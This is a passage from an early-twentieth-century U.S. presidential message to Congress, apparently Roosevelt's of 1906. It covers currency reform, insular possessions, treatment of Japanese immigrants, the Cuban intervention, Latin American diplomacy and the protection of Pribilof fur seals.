of the state it would be well to see the\nfathers and mothers of many healthy children, well brought up in homes\nmade happy by their presence. No man, no woman, can shirk the primary\nduties of life, whether for love of ease and pleasure, or for any other\ncause, and retain his or her self-respect.Let me once again call the attention of the Congress to two subjects\nconcerning which I have frequently before communicated with them. One\nis the question of developing American shipping. I trust that a law\nembodying in substance the views, or a major part of the views, exprest\nin the report on this subject laid before the House at its last session\nwill be past. I am well aware that in former years objectionable\nmeasures have been proposed in reference to the encouragement of\nAmerican shipping; but it seems to me that the proposed measure is as\nnearly unobjectionable as any can be. It will of course benefit\nprimarily our seaboard States, such as Maine, Louisiana, and\nWashington; but what benefits part of our people in the end benefits\nall; just as Government aid to irrigation and forestry in the West is\nreally of benefit, not only to the Rocky Mountain States, but to all\nour country. If it prove impracticable to enact a law for the\nencouragement of shipping generally, then at least provision should be\nmade for better communication with South America, notably for fast mail\nlines to the chief South American ports. It is discreditable to us that\nour business people, for lack of direct communication in the shape of\nlines of steamers with South America, should in that great sister\ncontinent be at a disadvantage compared to the business people of\nEurope.I especially call your attention to the second subject, the condition\nof our currency laws. The national bank act has ably served a great\npurpose in aiding the enormous business development of the country; and\nwithin ten years there has been an increase in circulation per capita\nfrom $21.41 to $33.08. For several years evidence has been accumulating\nthat additional legislation is needed. The recurrence of each crop\nseason emphasizes the defects of the present laws. There must soon be a\nrevision of them, because to leave them as they are means to incur\nliability of business disaster. Since your body adjourned there has\nbeen a fluctuation in the interest on call money from 2 per cent to 30\nper cent; and the fluctuation was even greater during the preceding six\nmonths. The Secretary of the Treasury had to step in and by wise action\nput a stop to the most violent period of oscillation. Even worse than\nsuch fluctuation is the advance in commercial rates and the uncertainty\nfelt in the sufficiency of credit even at high rates. All commercial\ninterests suffer during each crop period. Excessive rates for call\nmoney in New York attract money from the interior banks into the\nspeculative field; this depletes the fund that would otherwise be\navailable for commercial uses, and commercial borrowers are forced to\npay abnormal rates; so that each fall a tax, in the shape of increased\ninterest charges, is placed on the whole commerce of the country.The mere statement of these has shows that our present system is\nseriously defective. There is need of a change. Unfortunately, however,\nmany of the proposed changes must be ruled from consideration because\nthey are complicated, are not easy of comprehension, and tend to,\ndisturb existing rights and interests. We must also rule out any plan\nwhich would materially impair the value of the United States 2 per cent\nbonds now pledged to secure circulations, the issue of which was made\nunder conditions peculiarly creditable to the Treasury. I do not press\nany especial plan. Various plans have recently been proposed by expert\ncommittees of bankers. Among the plans which are possibly feasible and\nwhich certainly should receive your consideration is that repeatedly\nbrought to your attention by the present Secretary of the Treasury, the\nessential features of which have been approved by many prominent\nbankers and business men. According to this plan national banks should\nbe permitted to issue a specified proportion of their capital in notes\nof a given kind, the issue to be taxed at so high a rate as to drive\nthe notes back when not wanted in legitimate trade. This plan would not\npermit the issue of currency to give banks additional profits, but to\nmeet the emergency presented by times of stringency.I do not say that this is the right system. I only advance it to\nemphasize my belief that there is need for the adoption of some system\nwhich shall be automatic and open to all sound banks, so as to avoid\nall possibility of discrimination and favoritism. Such a plan would\ntend to prevent the spasms of high money and speculation which now\nobtain in the New York market; for at present there is too much\ncurrency at certain seasons of the year, and its accumulation at New\nYork tempts bankers to lend it at low rates for speculative purposes;\nwhereas at other times when the crops are being moved there is urgent\nneed for a large but temporary increase in the currency supply. It must\nnever be forgotten that this question concerns business men generally\nquite as much as bankers; especially is this true of stockmen, farmers,\nand business men in the West; for at present at certain seasons of the\nyear the difference in interest rates between the East and the West is\nfrom 6 to 10 per cent, whereas in Canada the corresponding difference\nis but 2 per cent. Any plan must, of course, guard the interests of\nwestern and southern bankers as carefully as it guards the interests of\nNew York or Chicago bankers; and must be drawn from the standpoints of\nthe farmer and the merchant no less than from the standpoints of the\ncity banker and the country banker.The law should be amended so as specifically to provide that the funds\nderived from customs duties may be treated by the Secretary of the\nTreasury as he treats funds obtained under the internal-revenue laws.\nThere should be a considerable increase in bills of small\ndenominations. Permission should be given banks, if necessary under\nsettled restrictions, to retire their circulation to a larger amount\nthan three millions a month.I most earnestly hope that the bill to provide a lower tariff for or\nelse absolute free trade in Philippine products will become a law. No\nharm will come to any American industry; and while there will be some\nsmall but real material benefit to the Filipinos, the main benefit will\ncome by the showing made as to our purpose to do all in our power for\ntheir welfare. So far our action in the Philippines has been abundantly\njustified, not mainly and indeed not primarily because of the added\ndignity it has given us as a nation by proving that we are capable\nhonorably and efficiently to bear the international burdens which a\nmighty people should bear, but even more because of the immense benefit\nthat has come to the people of the Philippine Islands. In these islands\nwe are steadily introducing both liberty and order, to a greater degree\nthan their people have ever before known. We have secured justice. We\nhave provided an efficient police force, and have put down ladronism.\nOnly in the islands of Leyte and Samar is the authority of our\nGovernment resisted and this by wild mountain tribes under the\nsuperstitious inspiration of fakirs and pseudo-religions leaders. We\nare constantly increasing the measure of liberty accorded the\nislanders, and next spring, if conditions warrant, we shall take a\ngreat stride forward in testing their capacity for self-government by\nsummoning the first Filipino legislative assembly; and the way in which\nthey stand this test will largely determine whether the self-government\nthus granted will be increased or decreased; for if we have erred at\nall in the Philippines it has been in proceeding too rapidly in the\ndirection of granting a large measure of self-government. We are\nbuilding roads. We have, for the immeasurable good of the people,\narranged for the building of railroads. Let us also see to it that they\nare given free access to our markets. This nation owes no more\nimperative duty to itself and mankind than the duty of managing the\naffairs of all the islands under the American flag--the Philippines,\nPorto Rico, and Hawaii--so as to make it evident that it is in every\nway to their advantage that the flag should fly over them.American citizenship should be conferred on the citizens of Porto Rico.\nThe harbor of San Juan in Porto Rico should be dredged and improved.\nThe expenses of the federal court of Porto Rico should be met from the\nFederal Treasury. The administration of the affairs of Porto Rico,\ntogether with those of the Philippines, Hawaii, and our other insular\npossessions, should all be directed under one executive department; by\npreference the Department of State or the Department of War.The needs of Hawaii are peculiar; every aid should be given the\nislands; and our efforts should be unceasing to develop them along the\nlines of a community of small freeholders, not of great planters with\ncoolie-tilled estates. Situated as this Territory is, in the middle of\nthe Pacific, there are duties imposed upon this small community which\ndo not fall in like degree or manner upon any other American community.\nThis warrants our treating it differently from the way in which we\ntreat Territories contiguous to or surrounded by sister Territories or\nother States, and justifies the setting aside of a portion of our\nrevenues to be expended for educational and internal improvements\ntherein. Hawaii is now making an effort to secure immigration fit in\nthe end to assume the duties and burdens of full American citizenship,\nand whenever the leaders in the various industries of those islands\nfinally adopt our ideals and heartily join our administration in\nendeavoring to develop a middle class of substantial citizens, a way\nwill then be found to deal with the commercial and industrial problems\nwhich now appear to them so serious. The best Americanism is that which\naims for stability and permanency of prosperous citizenship, rather\nthan immediate returns on large masses of capital.Alaska's needs have been partially met, but there must be a complete\nreorganization of the governmental system, as I have before indicated\nto you. I ask your especial attention to this. Our fellow-citizens who\ndwell on the shores of Puget Sound with characteristic energy are\narranging to hold in Seattle the Alaska Yukon Pacific Exposition. Its\nspecial aims include the upbuilding of Alaska and the development of\nAmerican commerce on the Pacific Ocean. This exposition, in its\npurposes and scope, should appeal not only to the people of the Pacific\nslope, but to the people of the United States at large. Alaska since it\nwas bought has yielded to the Government eleven millions of dollars of\nrevenue, and has produced nearly three hundred millions of dollars in\ngold, furs, and fish. When properly developed it will become in large\ndegree a land of homes. The countries bordering the Pacific Ocean have\na population more numerous than that of all the countries of Europe;\ntheir annual foreign commerce amounts to over three billions of\ndollars, of which the share of the United States is some seven hundred\nmillions of dollars. If this trade were thoroughly understood and\npushed by our manufacturers and producers, the industries not only of\nthe Pacific slope, but of all our country, and particularly of our\ncotton-growing States, would be greatly benefited. Of course, in order\nto get these benefits, we must treat fairly the countries with which we\ntrade.It is a mistake, and it betrays a spirit of foolish cynicism, to\nmaintain that all international governmental action is, and must ever\nbe, based upon mere selfishness, and that to advance ethical reasons\nfor such action is always a sign of hypocrisy. This is no more\nnecessarily true of the action of governments than of the action of\nindividuals. It is a sure sign of a base nature always to ascribe base\nmotives for the actions of others. Unquestionably no nation can afford\nto disregard proper considerations of self-interest, any more than a\nprivate individual can so do. But it is equally true that the average\nprivate individual in any really decent community does many actions\nwith reference to other men in which he is guided, not by\nself-interest, but by public spirit, by regard for the rights of\nothers, by a disinterested purpose to do good to others, and to raise\nthe tone of the community as a whole. Similarly, a really great nation\nmust often act, and as a matter of fact often does act, toward other\nnations in a spirit not in the least of mere self-interest, but paying\nheed chiefly to ethical reasons; and as the centuries go by this\ndisinterestedness in international action, this tendency of the\nindividuals comprising a nation to require that nation to act with\njustice toward its neighbors, steadily grows and strengthens. It is\nneither wise nor right for a nation to disregard its own needs, and it\nis foolish--and may be wicked--to think that other nations will\ndisregard theirs. But it is wicked for a nation only to regard its own\ninterest, and foolish to believe that such is the sole motive that\nactuates any other nation. It should be our steady aim to raise the\nethical standard of national action just as we strive to raise the\nethical standard of individual action.Not only must we treat all nations fairly, but we must treat with\njustice and good will all immigrants who come here under the law.\nWhether they are Catholic or Protestant, Jew or Gentile; whether they\ncome from England or Germany, Russia, Japan, or Italy, matters nothing.\nAll we have a right to question is the man's conduct. If he is honest\nand upright in his dealings with his neighbor and with the State, then\nhe is entitled to respect and good treatment. Especially do we need to\nremember our duty to the stranger within our gates. It is the sure mark\nof a low civilization, a low morality, to abuse or discriminate against\nor in any way humiliate such stranger who has come here lawfully and\nwho is conducting himself properly. To remember this is incumbent on\nevery American citizen, and it is of course peculiarly incumbent on\nevery Government official, whether of the nation or of the several\nStates.I am prompted to say this by the attitude of hostility here and there\nassumed toward the Japanese in this country. This hostility is sporadic\nand is limited to a very few places. Nevertheless, it is most\ndiscreditable to us as a people, and it may be fraught with the gravest\nconsequences to the nation. The friendship between the United States\nand Japan has been continuous since the time, over half a century ago,\nwhen Commodore Perry, by his expedition to Japan, first opened the\nislands to western civilization. Since then the growth of Japan has\nbeen literally astounding. There is not only nothing to parallel it,\nbut nothing to approach it in the history of civilized mankind. Japan\nhas a glorious and ancient past. Her civilization is older than that of\nthe nations of northern Europe--the nations from whom the people of the\nUnited States have chiefly sprung. But fifty years ago Japan's\ndevelopment was still that of the Middle Ages. During that fifty years\nthe progress of the country in every walk in life has been a marvel to\nmankind, and she now stands as one of the greatest of civilized\nnations; great in the arts of war and in the arts of peace; great in\nmilitary, in industrial, in artistic development and achievement.\nJapanese soldiers and sailors have shown themselves equal in combat to\nany of whom history makes note. She has produced great generals and\nmighty admirals; her fighting men, afloat and ashore, show all the\nheroic courage, the unquestioning, unfaltering loyalty, the splendid\nindifference to hardship and death, which marked the Loyal Ronins; and\nthey show also that they possess the highest ideal of patriotism.\nJapanese artists of every kind see their products eagerly sought for in\nall lands. The industrial and commercial development of Japan has been\nphenomenal; greater than that of any other country during the same\nperiod. At the same time the advance in science and philosophy is no\nless marked. The admirable management of the Japanese Red Cross during\nthe late war, the efficiency and humanity of the Japanese officials,\nnurses, and doctors, won the respectful admiration of all acquainted\nwith the facts. Through the Red Cross the Japanese people sent over\n$100,000 to the sufferers of San Francisco, and the gift was accepted\nwith gratitude by our people. The courtesy of the Japanese, nationally\nand individually, has become proverbial. To no other country has there\nbeen such an increasing number of visitors from this land as to Japan.\nIn return, Japanese have come here in great numbers. They are welcome,\nsocially and intellectually, in all our colleges and institutions of\nhigher learning, in all our professional and social bodies. The\nJapanese have won in a single generation the right to stand abreast of\nthe foremost and most enlightened peoples of Europe and America; they\nhave won on their own merits and by their own exertions the right to\ntreatment on a basis of full and frank equality. The overwhelming mass\nof our people cherish a lively regard and respect for the people of\nJapan, and in almost every quarter of the Union the stranger from Japan\nis treated as he deserves; that is, he is treated as the stranger from\nany part of civilized Europe is and deserves to be treated. But here\nand there a most unworthy feeling has manifested itself toward the\nJapanese--the feeling that has been shown in shutting them out from the\ncommon schools in San Francisco, and in mutterings against them in one\nor two other places, because of their efficiency as workers. To shut\nthem out from the public schools is a wicked absurdity, when there are\nno first-class colleges in the land, including the universities and\ncolleges of California, which do not gladly welcome Japanese students\nand on which Japanese students do not reflect credit. We have as much\nto learn from Japan as Japan has to learn from us; and no nation is fit\nto teach unless it is also willing to learn. Throughout Japan Americans\nare well treated, and any failure on the part of Americans at home to\ntreat the Japanese with a like courtesy and consideration is by just so\nmuch a confession of inferiority in our civilization.Our nation fronts on the Pacific, just as it fronts on the Atlantic. We\nhope to play a constantly growing part in the great ocean of the\nOrient. We wish, as we ought to wish, for a great commercial\ndevelopment in our dealings with Asia; and it is out of the question\nthat we should permanently have such development unless we freely and\ngladly extend to other nations the same measure of justice and good\ntreatment which we expect to receive in return. It is only a very small\nbody of our citizens that act badly. Where the Federal Government has\npower it will deal summarily with any such. Where the several States\nhave power I earnestly ask that they also deal wisely and promptly with\nsuch conduct, or else this small body of wrongdoers may bring shame\nupon the great mass of their innocent and right-thinking fellows--that\nis, upon our nation as a whole. Good manners should be an international\nno less than an individual attribute. I ask fair treatment for the\nJapanese as I would ask fair treatment for Germans or Englishmen,\nFrenchmen, Russians, or Italians. I ask it as due to humanity and\ncivilization. I ask it as due to ourselves because we must act\nuprightly toward all men.I recommend to the Congress that an act be past specifically providing\nfor the naturalization of Japanese who come here intending to become\nAmerican citizens. One of the great embarrassments attending the\nperformance of our international obligations is the fact that the\nStatutes of the United States are entirely inadequate. They fail to\ngive to the National Government sufficiently ample power, through\nUnited States courts and by the use of the Army and Navy, to protect\naliens in the rights secured to them under solemn treaties which are\nthe law of the land. I therefore earnestly recommend that the criminal\nand civil statutes of the United States be so amended and added to as\nto enable the President, acting for the United States Government, which\nis responsible in our international relations, to enforce the rights of\naliens under treaties. Even as the law now is something can be done by\nthe Federal Government toward this end, and in the matter now before me\naffecting the Japanese everything that it is in my power to do will be\ndone, and all of the forces, military and civil, of the United States\nwhich I may lawfully employ will be so employed. There should, however,\nbe no particle of doubt as to the power of the National Government\ncompletely to perform and enforce its own obligations to other nations.\nThe mob of a single city may at any time perform acts of lawless\nviolence against some class of foreigners which would plunge us into\nwar. That city by itself would be powerless to make defense against the\nforeign power thus assaulted, and if independent of this Government it\nwould never venture to perform or permit the performance of the acts\ncomplained of. The entire power and the whole duty to protect the\noffending city or the offending community lies in the hands of the\nUnited States Government. It is unthinkable that we should continue a\npolicy under which a given locality may be allowed to commit a crime\nagainst a friendly nation, and the United States Government limited,\nnot to preventing the commission of the crime, but, in the last resort,\nto defending the people who have committed it against the consequences\nof their own wrongdoing.Last August an insurrection broke out in Cuba which it speedily grew\nevident that the existing Cuban Government was powerless to quell. This\nGovernment was repeatedly asked by the then Cuban Government to\nintervene, and finally was notified by the President of Cuba that he\nintended to resign; that his decision was irrevocable; that none of the\nother constitutional officers would consent to carry on the Government,\nand that he was powerless to maintain order. It was evident that chaos\nwas impending, and there was every probability that if steps were not\nimmediately taken by this Government to try to restore order the\nrepresentatives of various European nations in the island would apply\nto their respective governments for armed intervention in order to\nprotect the lives and property of their citizens. Thanks to the\npreparedness of our Navy, I was able immediately to send enough ships\nto Cuba to prevent the situation from becoming hopeless; and I\nfurthermore dispatched to Cuba the Secretary of War and the Assistant\nSecretary of State, in order that they might grapple with the situation\non the ground. All efforts to secure an agreement between the\ncontending factions, by which they should themselves come to an\namicable understanding and settle upon some modus vivendi--some\nprovisional government of their own--failed. Finally the President of\nthe Republic resigned. The quorum of Congress assembled failed by\ndeliberate purpose of its members, so that there was no power to act on\nhis resignation, and the Government came to a halt. In accordance with\nthe so-called Platt amendment, which was embodied in the constitution\nof Cuba, I thereupon proclaimed a provisional government for the\nisland, the Secretary of War acting as provisional governor until he\ncould be replaced by Mr. Magoon, the late minister to Panama and\ngovernor of the Canal Zone on the Isthmus; troops were sent to support\nthem and to relieve the Navy, the expedition being handled with most\nsatisfactory speed and efficiency. The insurgent chiefs immediately\nagreed that their troops should lay down their arms and disband; and\nthe agreement was carried out. The provisional government has left the\npersonnel of the old government and the old laws, so far as might be,\nunchanged, and will thus administer the island for a few months until\ntranquillity can be restored, a new election properly held, and a new\ngovernment inaugurated. Peace has come in the island; and the\nharvesting of the sugar-cane crop, the great crop of the island, is\nabout to proceed.When the election has been held and the new government inaugurated in\npeaceful and orderly fashion the provisional government will come to an\nend. I take this opportunity of expressing upon behalf of the American\npeople, with all possible solemnity, our most earnest hope that the\npeople of Cuba will realize the imperative need of preserving justice\nand keeping order in the Island. The United States wishes nothing of\nCuba except that it shall prosper morally and materially, and wishes\nnothing of the Cubans save that they shall be able to preserve order\namong themselves and therefore to preserve their independence. If the\nelections become a farce, and if the insurrectionary habit becomes\nconfirmed in the Island, it is absolutely out of the question that the\nIsland should continue independent; and the United States, which has\nassumed the sponsorship before the civilized world for Cuba's career as\na nation, would again have to intervene and to see that the government\nwas managed in such orderly fashion as to secure the safety of life and\nproperty. The path to be trodden by those who exercise self-government\nis always hard, and we should have every charity and patience with the\nCubans as they tread this difficult path. I have the utmost sympathy\nwith, and regard for, them; but I most earnestly adjure them solemnly\nto weigh their responsibilities and to see that when their new\ngovernment is started it shall run smoothly, and with freedom from\nflagrant denial of right on the one hand, and from insurrectionary\ndisturbances on the other.The Second International Conference of American Republics, held in\nMexico in the years 1901-2, provided for the holding of the third\nconference within five years, and committed the fixing of the time and\nplace and the arrangements for the conference to the governing board of\nthe Bureau of American Republics, composed of the representatives of\nall the American nations in Washington. That board discharged the duty\nimposed upon it with marked fidelity and painstaking care, and upon the\ncourteous invitation of the United States of Brazil the conference was\nheld at Rio de Janeiro, continuing from the 23d of July to the 29th of\nAugust last. Many subjects of common interest to all the American\nnations were discust by the conference, and the conclusions reached,\nembodied in a series of resolutions and proposed conventions, will be\nlaid before you upon the coming in of the final report of the American\ndelegates. They contain many matters of importance relating to the\nextension of trade, the increase of communication, the smoothing away\nof barriers to free intercourse, and the promotion of a better\nknowledge and good understanding between the different countries\nrepresented. The meetings of the conference were harmonious and the\nconclusions were reached with substantial unanimity. It is interesting\nto observe that in the successive conferences which have been held the\nrepresentatives of the different American nations have been learning to\nwork together effectively, for, while the First Conference in\nWashington in 1889, and the Second Conference in Mexico in 1901-2,\noccupied many months, with much time wasted in an unregulated and\nfruitless discussion, the Third Conference at Rio exhibited much of the\nfacility in the practical dispatch of business which characterizes\npermanent deliberative bodies, and completed its labors within the\nperiod of six weeks originally allotted for its sessions.Quite apart from the specific value of the conclusions reached by the\nconference, the example of the representatives of all the American\nnations engaging in harmonious and kindly consideration and discussion\nof subjects of common interest is itself of great and substantial value\nfor the promotion of reasonable and considerate treatment of all\ninternational questions. The thanks of this country are due to the\nGovernment of Brazil and to the people of Rio de Janeiro for the\ngenerous hospitality with which our delegates, in common with the\nothers, were received, entertained, and facilitated in their work.Incidentally to the meeting of the conference, the Secretary of State\nvisited the city of Rio de Janeiro and was cordially received by the\nconference, of which he was made an honorary president. The\nannouncement of his intention to make this visit was followed by most\ncourteous and urgent invitations from nearly all the countries of South\nAmerica to visit them as the guest of their Governments. It was deemed\nthat by the acceptance of these invitations we might appropriately\nexpress the real respect and friendship in which we hold our sister\nRepublics of the southern continent, and the Secretary, accordingly,\nvisited Brazil, Uruguay, Argentina, Chile, Peru, Panama, and Colombia.\nHe refrained from visiting Paraguay, Bolivia, and Ecuador only because\nthe distance of their capitals from the seaboard made it impracticable\nwith the time at his disposal. He carried with him a message of peace\nand friendship, and of strong desire for good understanding and mutual\nhelpfulness; and he was everywhere received in the spirit of his\nmessage. The members of government, the press, the learned professions,\nthe men of business, and the great masses of the people united\neverywhere in emphatic response to his friendly expressions and in\ndoing honor to the country and cause which he represented.In many parts of South America there has been much misunderstanding of\nthe attitude and purposes of the United States towards the other\nAmerican Republics. An idea had become prevalent that our assertion of\nthe Monroe Doctrine implied, or carried with it, an assumption of\nsuperiority, and of a right to exercise some kind of protectorate over\nthe countries to whose territory that doctrine applies. Nothing could\nbe farther from the truth. Yet that impression continued to be a\nserious barrier to good understanding, to friendly intercourse, to the\nintroduction of American capital and the extension of American trade.\nThe impression was so widespread that apparently it could not be\nreached by any ordinary means.It was part of Secretary Root's mission to dispel this unfounded\nimpression, and there is just cause to believe that he has succeeded.\nIn an address to the Third Conference at Rio on the 31st of July--an\naddress of such note that I send it in, together with this message--he\nsaid:\"We wish for no victories but those of peace; for no territory except\nour own; for no sovereignty except the sovereignty over ourselves. We\ndeem the independence and equal rights of the smallest and weakest\nmember of the family of nations entitled to as much respect as those of\nthe greatest empire, and we deem the observance of that respect the\nchief guaranty of the weak against the oppression of the strong. We\nneither claim nor desire any rights or privileges or powers that we do\nnot freely concede to every American Republic. We wish to increase our\nprosperity, to extend our trade, to grow in wealth, in wisdom, and in\nspirit, but our conception of the true way to accomplish this is not to\npull down others and profit by their ruin, but to help all friends to a\ncommon prosperity and a common growth, that we may all become greater\nand stronger together. Within a few months for the first time the\nrecognized possessors of every foot of soil upon the American\ncontinents can be and I hope will be represented with the acknowledged\nrights of equal sovereign states in the great World Congress at The\nHague. This will be the world's formal and final acceptance of the\ndeclaration that no part of the American continents is to be deemed\nsubject to colonization. Let us pledge ourselves to aid each other in\nthe full performance of the duty to humanity which that accepted\ndeclaration implies, so that in time the weakest and most unfortunate\nof our Republics may come to march with equal step by the side of the\nstronger and more fortunate. Let us help each other to show that for\nall the races of men the liberty for which we have fought and labored\nis the twin sister of justice and peace. Let us unite in creating and\nmaintaining and making effective an all-American public opinion, whose\npower shall influence international conduct and prevent international\nwrong, and narrow the causes of war, and forever preserve our free\nlands from the burden of such armaments as are massed behind the\nfrontiers of Europe, and bring us ever nearer to the perfection of\nordered liberty. So shall come security and prosperity, production and\ntrade, wealth, learning, the arts, and happiness for us all.\"These words appear to have been received with acclaim in every part of\nSouth America. They have my hearty approval, as I am sure they will\nhave yours, and I can not be wrong in the conviction that they\ncorrectly represent the sentiments of the whole American people. I can\nnot better characterize the true attitude of the United States in its\nassertion of the Monroe Doctrine than in the words of the distinguished\nformer minister of foreign affairs of Argentina, Doctor Drago, in his\nspeech welcoming Mr. Root at Buenos Ayres. He spoke of--\"The traditional policy of the United States (which) without\naccentuating superiority or seeking preponderance, condemned the\noppression of the nations of this part of the world and the control of\ntheir destinies by the great Powers of Europe.\"It is gratifying to know that in the great city of Buenos Ayres, upon\nthe arches which spanned the streets, entwined with Argentine and\nAmerican flags for the reception of our representative, there were\nemblazoned not' only the names of Washington and Jefferson and\nMarshall, but also, in appreciative recognition of their services to\nthe cause of South American independence, the names of James Monroe,\nJohn Quincy Adams, Henry Clay, and Richard Rush. We take especial\npleasure in the graceful courtesy of the Government of Brazil, which \nhas given to the beautiful and stately building first used for the\nmeeting of the conference the name of \"Palacio Monroe.\" Our grateful\nacknowledgments are due to the Governments and the people of all the\ncountries visited by the Secretary of State for the courtesy, the\nfriendship, and the honor shown to our country in their generous\nhospitality to him.In my message to you on the 5th of December, 1905, I called your\nattention to the embarrassment that might be caused to this Government\nby the assertion by foreign nations of the right to collect by force of\narms contract debts due by American republics to citizens of the\ncollecting nation, and to the danger that the process of compulsory\ncollection might result in the occupation of territory tending to\nbecome permanent. I then said:\"Our own Government has always refused to enforce such contractual\nobligations on behalf of its citizens by an appeal to arms. It is much\nto be wisht that all foreign governments would take the same view.\"This subject was one of the topics of consideration at the conference\nat Rio and a resolution was adopted by that conference recommending to\nthe respective governments represented \"to consider the advisability of\nasking the Second Peace Conference at The Hague to examine the question\nof the compulsory collection of public debts, and, in general, means\ntending to diminish among nations conflicts of purely pecuniary\norigin.\"This resolution was supported by the representatives of the United\nStates in accordance with the following instructions:\"It has long been the established policy of the United States not to\nuse its armed forces for the collection of ordinary contract debts due\nto its citizens by other governments. We have not considered the use of\nforce for such a purpose consistent with that respect for the\nindependent sovereignty of other members of the family of nations which\nis the most important principle of international law and the chief\nprotection of weak nations against the oppression of the strong. It\nseems to us that the practise is injurious in its general effect upon\nthe relations of nations and upon the welfare of weak and disordered\nstates, whose development ought to be encouraged in the interests of\ncivilization; that it offers frequent temptation to bullying and\noppression and to unnecessary and unjustifiable warfare. We regret that\nother powers, whose opinions and sense of justice we esteem highly,\nhave at times taken a different view and have permitted themselves,\nthough we believe with reluctance, to collect such debts by force. It\nis doubtless true that the non-payment of public debts may be\naccompanied by such circumstances of fraud and wrongdoing or violation\nof treaties as to justify the use of force. This Government would be\nglad to see an international consideration of the subject which shall\ndiscriminate between such cases and the simple nonperformance of a\ncontract with a private person, and a resolution in favor of reliance\nupon peaceful means in cases of the latter class.\"It is not felt, however, that the conference at Rio should undertake\nto make such a discrimination or to resolve upon such a rule. Most of\nthe American countries are still debtor nations, while the countries of\nEurope are the creditors. If the Rio conference, therefore, were to\ntake such action it would have the appearance of a meeting of debtors\nresolving how their creditors should act, and this would not inspire\nrespect. The true course is indicated by the terms of the program,\nwhich proposes to request the Second Hague Conference, where both\ncreditors and debtors will be assembled, to consider the subject.\"Last June trouble which had existed for some time between the Republics\nof Salvador, Guatemala, and Honduras culminated in war--a war which\nthreatened to be ruinous to the countries involved and very destructive\nto the commercial interests of Americans, Mexicans, and other\nforeigners who are taking an important part in the development of these\ncountries. The thoroughly good understanding which exists between the\nUnited States and Mexico enabled this Government and that of Mexico to\nunite in effective mediation between the warring Republics; which\nmediation resulted, not without long-continued and patient effort, in\nbringing about a meeting of the representatives of the hostile powers\non board a United States warship as neutral territory, and peace was\nthere concluded; a peace which resulted in the saving of thousands of\nlives and in the prevention of an incalculable amount of misery and the\ndestruction of property and of the means of livelihood. The Rio\nConference past the following resolution in reference to this action:\"That the Third International American Conference shall address to the\nPresidents of the United States of America and of the United States of\nMexico a note in which the conference which is being held at Rio\nexpresses its satisfaction at the happy results of their mediation for\nthe celebration of peace between the Republics of Guatemala, Honduras,\nand Salvador.\"This affords an excellent example of one way in which the influence of\nthe United States can properly be exercised for the benefit of the\npeoples of the Western Hemisphere; that is, by action taken in concert\nwith other American republics and therefore free from those suspicions\nand prejudices which might attach if the action were taken by one\nalone. In this way it is possible to exercise a powerful influence\ntoward the substitution of considerate action in the spirit of justice\nfor the insurrectionary or international violence which has hitherto\nbeen so great a hindrance to the development of many of our neighbors.\nRepeated examples of united action by several or many American\nrepublics in favor of peace, by urging cool and reasonable, instead of\nexcited and belligerent, treatment of international controversies, can\nnot fail to promote the growth of a general public opinion among the\nAmerican nations which will elevate the standards of international\naction, strengthen the sense of international duty among governments,\nand tell in favor of the peace of mankind.I have just returned from a trip to Panama and shall report to you at\nlength later on the whole subject of the Panama Canal.The Algeciras Convention, which was signed by the United States as well\nas by most of the powers of Europe, supersedes the previous convention\nof 1880, which was also signed both by the United States and a majority\nof the European powers. This treaty confers upon us equal commercial\nrights with all European countries and does not entail a single\nobligation of any kind upon us, and I earnestly hope it may be speedily\nratified. To refuse to ratify it would merely mean that we forfeited\nour commercial rights in Morocco and would not achieve another object\nof any kind. In the event of such refusal we would be left for the\nfirst time in a hundred and twenty years without any commercial treaty\nwith Morocco; and this at a time when we are everywhere seeking new\nmarkets and outlets for trade.The destruction of the Pribilof Islands fur seals by pelagic sealing\nstill continues. The herd which, according to the surveys made in 1874\nby direction of the Congress, numbered 4,700,000, and which, according\nto the survey of both American and Canadian commissioners in 1891,\namounted to 1,000,000, has now been reduced to about 180,000. This\nresult has been brought about by Canadian and some other sealing\nvessels killing the female seals while in the water during their annual\npilgrimage to and from the south, or in search of food. As a rule the\nfemale seal when killed is pregnant, and also has an unweaned pup on\nland, so that, for each skin taken by pelagic sealing, as a rule, three\nlives are destroyed--the mother, the unborn offspring, and the nursing\npup, which is left to starve to death. No damage whatever is done to\nthe herd by the carefully regulated killing on land; the custom of\npelagic sealing is solely responsible for all of the present evil, and\nis alike indefensible from the economic standpoint and from the\nstandpoint of humanity.In 1896 over 16,000 young seals were found dead from starvation on the\nPribilof Islands. In 1897 it was estimated that since pelagic sealing\nbegan upward of 400,000 adult female seals had been killed at sea, and\nover 300,000 young seals had died of starvation as the result. The\nrevolting barbarity of such a practise, as well as the wasteful\ndestruction which it involves, needs no demonstration and is its own\ncondemnation. The Bering Sea Tribunal, which sat in Paris in 1893, and\nwhich decided against the claims of the United States to exclusive\njurisdiction in the waters of Bering Sea and to a property right in the\nfur seals when outside of the three-mile limit, determined also upon\ncertain regulations which the Tribunal considered sufficient for the\nproper protection and preservation of the fur seal in, or habitually\nresorting to, the Bering Sea. The Tribunal by its regulations\nestablished a close season, from the 1st of May to the 31st of July,\nand excluded all killing in the waters within 60 miles around the\nPribilof Islands. They also provided that the regulations which they\nhad determined upon, with a view to the protection and preservation of\nthe seals, should be submitted every five years to new examination, so\nas to enable both interested Governments to consider whether, in the\nlight of past experience, there was occasion for any modification\nthereof.The regulations have proved plainly inadequate to accomplish the object\nof protection and preservation of the fur seals, and for a long time\nthis Government has been trying in vain to secure from Great Britain\nsuch revision and modification of the regulations as were contemplated\nand provided for by the award of the Tribunal of Paris.The process of destruction has been accelerated during recent years by\nthe appearance of a number of Japanese vessels engaged in pelagic\nsealing. As these vessels have not been bound even by the inadequate\nlimitations prescribed by the Tribunal of Paris, they have paid no\nattention either to the close season or to the sixty-mile limit imposed\nupon the Canadians, and have prosecuted their work up to the very\nislands themselves. On July 16 and 17 the crews from several Japanese\nvessels made raids upon the island of St. Paul, and before they were\nbeaten off by the very meager and insufficiently armed guard, they\nsucceeded in killing several hundred seals and carrying off the skins\nof most of them. Nearly all the seals killed were females and the work\nwas done with frightful barbarity. Many of the seals appear to have\nbeen skinned alive and many were found half skinned and still alive.\nThe raids were repelled only by the use of firearms, and five of the\nraiders were killed, two were wounded, and twelve captured, including\nthe two wounded. Those captured have since been tried and sentenced to\nimprisonment. An attack of this kind had been wholly unlookt for, but\nsuch provision of vessels, arms, and ammunition will now be made that\nits repetition will not be found profitable.Suitable representations regarding the incident have been made to the\nGovernment of Japan, and we are assured that all practicable measures\nwill be taken by that country to prevent any recurrence of the outrage.\nOn our part, the guard on the island will be increased and better\nequipped and organized, and a better revenue-cutter patrol service\nabout the islands will be established; next season a United States war\nvessel will also be sent there.We have not relaxed our efforts to secure an agreement with Great\nBritain for adequate protection of the seal herd, and negotiations 